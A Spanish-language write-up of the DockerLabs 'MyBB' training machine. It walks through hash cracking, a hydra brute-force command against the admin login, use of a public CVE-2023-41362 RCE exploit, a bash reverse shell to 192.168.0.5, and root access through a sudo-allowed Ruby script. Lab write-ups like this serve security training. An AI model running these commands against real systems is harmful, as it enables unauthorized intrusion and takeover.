DockerLabs MyBB

DockerLabs MyBB

Esta es una máquina de DockerLabs de nivel medio

·

6 min read

Para poder hacer uso de esta máquina primero debemos descargar los archivos y así desplegarlo con Docker.

Descargamos el archivo de la página dockerlabs.es/#

Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos 2 archivos.

Para desplegar el laboratorio ejecutamos de la siguiente manera, así también podemos ver que nos indica la dirección que tendremos, así también el que hacer cuando terminemos este.

Realizando el escaneo de los puertos podemos observar que solo identificó el puerto número 80.

Si nos dirigimos a la dirección web podemos observar una página sencilla que tiene un login y un fórum.

Hacemos clic en las páginas y la de home nos lleva a la página default de apache2.

Si vamos al foro nos redirige a una página que no podemos observar porque lleva a un dominio.

Para poder acceder primero lo agregaremos a nuestro archivo de hosts y veremos a donde nos lleva.

Actualizamos la página y podemos observar el siguiente foro.

Usando Wappalyzer podemos observar que está funcionando bajo un open-source escrito en PHP.

Revisando la aplicación podemos observar que solo existe un usuario el cual es admin.

Realizamos un escaneo de subdirectorios y podemos observar unos interesantes.

En el archivo data del directorio backups encontramos una sección que indica Alice y un password, pero suponemos que no nos será de ayuda, puesto que el único usuario que existe es admin.

Pero no está de más probar, ya que siempre existe la posibilidad de la reutilización de passwords. Copiamos el hash y usamos John para romperlo y podemos observar que obtuvimos el password.

alice:tinkerbell

Probamos algunas credenciales genéricas y la que hallamos, pero no son útiles. Ingresamos al panel de admin y es el mismo login.

Usamos whatweb para observar si nos brinda información de la versión del servicio para poder explotarlo por ese lado, pero podemos observar que no nos brinda esa información.

Ya que probamos diversas opciones de las últimas que nos queda es realizar un ataque de fuerza bruta usando el user admin. Para ello capturaremos la petición con burpsuite para no armarla manualmente y luego haremos uso de hydra.

Al capturar lo enviamos al Request y podemos observar lo siguiente.

Y en la parte de response observamos un mensaje.

Ahora realizamos clic en change request method y copiamos el encabezado.

Esta consulta nos servirá, pero para usarla con hydra debemos agregarle ambas características.

/admin/index.php?username=^USER^&password=^PASS^&do=login

La consulta completa en hydra deberá ser:

hydra -l admin -P /usr/share/wordlists/rockyou.txt panel.mybb.dl http-post-form "/admin/index.php:username=^USER^&password=^PASS^=login:The username and password combination you entered is invalid."

Ejecutamos y podemos observar que nos indica muchos passwords que supuestamente son válidas lo cual significa falsos positivos.

Ahora copiamos las credenciales, o podemos guardarlas en un archivo. Como disminuimos las opciones usaremos burpsuite para obtener el password y evitar probar cuál falso positivo es al credencial real.

Para ello la captura que realizamos la enviamos a intruder y le hacemos clic en clear y seleccionamos el password y damos en add. Debería quedar de la siguiente manera.

Nos vamos la pestaña de payloads y si copiamos la lista de passwords solo damos en paste y debería copiarse en nuestro caso creamos un archivo con los passwords así que le damos en load y veremos que se insertan todas.

Para ejecutar le damos a start atack que está en la parte superior derecha, damos en ok a las notificaciones y esperamos unos segundos a que termine. Pero si observamos nos sale un mensaje de que la cuenta ha sido bloqueada y esto se debe por la cantidad de intentos que realizamos.

Si nos sale esto debemos volver a generar la máquina.

Tratamos de hacerlo manual usando burpsuite, pero como no podemos evitar el bloqueo de la cuenta la reiniciamos cada 5 intentos reiniciamos la máquina, ya que conocemos que esos 5 primeros no son el password borramos de la lista los passwords que pasaron primero y así llegando un punto en el que el password muestra un valor distinto y el password es babygirl.

Si observamos él response podemos ver que tenemos acceso al panel.

Así también podemos observar que la versión de myBB es la 1.8.35.

Buscando en Google sobre algún exploit para esa versión encontramos el siguiente que indica el CVE CVE-2023-41362.

Buscando en GitHub encontramos el siguiente https://github.com/SorceryIE/CVE-2023-41362_MyBB_ACP_RCE/blob/main/exploit.py Descargamos y ejecutamos y podemos observar que tenemos acceso.

Ya que podemos ejecutar comandos usamos un revshell y podemos observar que tenemos conexión.

bash -c 'bash -i >& /dev/tcp/192.168.0.5/1234 0>&1'

Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos

script /dev/null -c bash

luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty

stty raw -echo; fg
                reset xterm

para obtener más características usamos

export TERM=xterm

para la variable de entorno

echo $SHELL

y para pasar a bash usamos

export SHELL=/bin/bash

para establecer el tamaño adecuado de la consola ingresamos

stty rows 59 cols 236

de esta manera ya nos podemos mover con más libertad en la consola. Realizamos un sudo -l, pero podemos observar que necesitamos un password.

Ya que no podemos observar nada queremos listar permisos SUID, pero no nos será posible, ya que no tenemos un password.

Si vamos al directorio home podemos observar que el usuario se llama Alice y debemos recordar que al comienzo encontramos un password para un usuario que se llamaba Alice.

El password que encontramos era:

alice:tinkerbell

Ingresamos con las credenciales de Alice y podemos observar que son correctas.

Si realizamos un sudo -l podemos observar que podemos obtener root ejecutando un script en Ruby.

Tratamos de editar el archivo, pero observamos que no disponemos de nano o vim. Así que usaremos el comando echo. Para ello debemos insertar el siguiente texto para que nos genere una nueva shell cuando ejecutemos el script, notemos que usamos \n\n esto es debido a que debemos hacer saltos de línea, puesto que si no lo ingresamos el comando no será útil.

echo -e '#!/usr/bin/env ruby\n\nexec "/bin/sh"' > shell.rb

Ya que ingresamos lo que debemos de hacer es darle permisos de ejecución y luego lo ejecutamos. Si todo se ejecutó de manera correcta podemos observar que ya somos root, de esta manera culminando esta máquina.